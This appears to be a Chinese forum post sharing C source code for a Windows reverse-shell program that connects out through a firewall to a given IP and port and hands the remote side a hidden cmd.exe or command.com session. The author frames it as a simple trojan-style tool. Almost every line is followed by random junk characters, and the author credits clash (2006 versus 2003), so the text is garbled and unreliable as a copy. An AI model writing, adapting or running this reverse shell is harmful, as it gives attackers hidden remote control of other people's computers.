这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 j#U,zsv:
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/* ============================== =W&m{F96
Rebound port in Windows NT LJ6l3)tpD
By wind,2006/7 zwU1(?]I{
===============================*/ *+XiBho
#include +/bD9x1H
#include s(?%A
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#pragma comment(lib,"wsock32.lib") A2ufET
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void OutputShell(); $Dd-2p
SOCKET sClient; -&Q+x,.%
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; artn _
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void main(int argc,char **argv) P,xIDj4d
{ ^?wR{q"8
WSADATA stWsaData; M.xZU\'ty
int nRet; D2GF4%|
SOCKADDR_IN stSaiClient,stSaiServer; } '?qUy3x
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if(argc != 3) x4/{XRQ
{ EDuH+/:n
printf("Useage:\n\rRebound DestIP DestPort\n"); @q`T#vd
return; 5dhy80|g]
} oaZdvu@y
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WSAStartup(MAKEWORD(2,2),&stWsaData); _Hd|y
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); WNZYs
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stSaiClient.sin_family = AF_INET; *o38f>aJl
stSaiClient.sin_port = htons(0); R(*t1R\
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); RO|8NC<oj
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) ~ g-(
{ m"-kkH{I
printf("Bind Socket Failed!\n"); c1r+?q$f
return; Qwt0~9n(
}
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stSaiServer.sin_family = AF_INET; 3HBh
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stSaiServer.sin_port = htons((u_short)atoi(argv[2])); 0}"\3EdAbD
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); [& Z-
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) I 44]W &
{ i]N<xcF9N*
printf("Connect Error!"); w@&z0ODJ
return; I`*5z;Q!%@
} S0Io$\ha
OutputShell(); kz1#"8Zd!
} o&&`_"18
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void OutputShell() 7y&6q`y E
{ nu7 R
char szBuff[1024]; nGe4IY\-w
SECURITY_ATTRIBUTES stSecurityAttributes; (# mvDz
OSVERSIONINFO stOsversionInfo; ;Ce?f=4
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; t0jE\6r
STARTUPINFO stStartupInfo; IG# wY
char *szShell; s9a`2Wm
PROCESS_INFORMATION stProcessInformation; h=,hYz?]
unsigned long lBytesRead; :o~'\:/
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); [k>{q+MWK
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); ZG2EOy
stSecurityAttributes.lpSecurityDescriptor = 0; {@iLfBh5
stSecurityAttributes.bInheritHandle = TRUE; >Oj$Dn=
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); K!Fem6R
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); }<X* :%#b
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); e"wzb< b
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; <" nWGF4d
stStartupInfo.wShowWindow = SW_HIDE; br
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stStartupInfo.hStdInput = hReadPipe; Q,JH/X
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; U3z23LgA
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GetVersionEx(&stOsversionInfo); l"A/6r!Dp
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switch(stOsversionInfo.dwPlatformId) Pj]^p{>
{ (3mL!1\
case 1: M9A1
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szShell = "command.com"; zn 0y`9!n?
break; <Vk}U
default: .%{B=_7
szShell = "cmd.exe"; Y,v9o
break; B )[RIs
} LdH1sHy*d`
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); eOiH7{OA,
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send(sClient,szMsg,77,0); =1,!EkG
while(1) ZP!.C&O
{ 3e;|KU
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); zl6]N3+4
if(lBytesRead)
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{ ?wPTe^Qtv
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); #7Q9^rG
send(sClient,szBuff,lBytesRead,0); i a!!jK}
} ]|eMEN['
else
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{ AC(qx:/6
lBytesRead=recv(sClient,szBuff,1024,0); s`H|o'0
if(lBytesRead<=0) break; K=o {
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); XJPIAN~l
} & ;.rPU
} lY"l6.c
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return; j@(S7=^C6%
}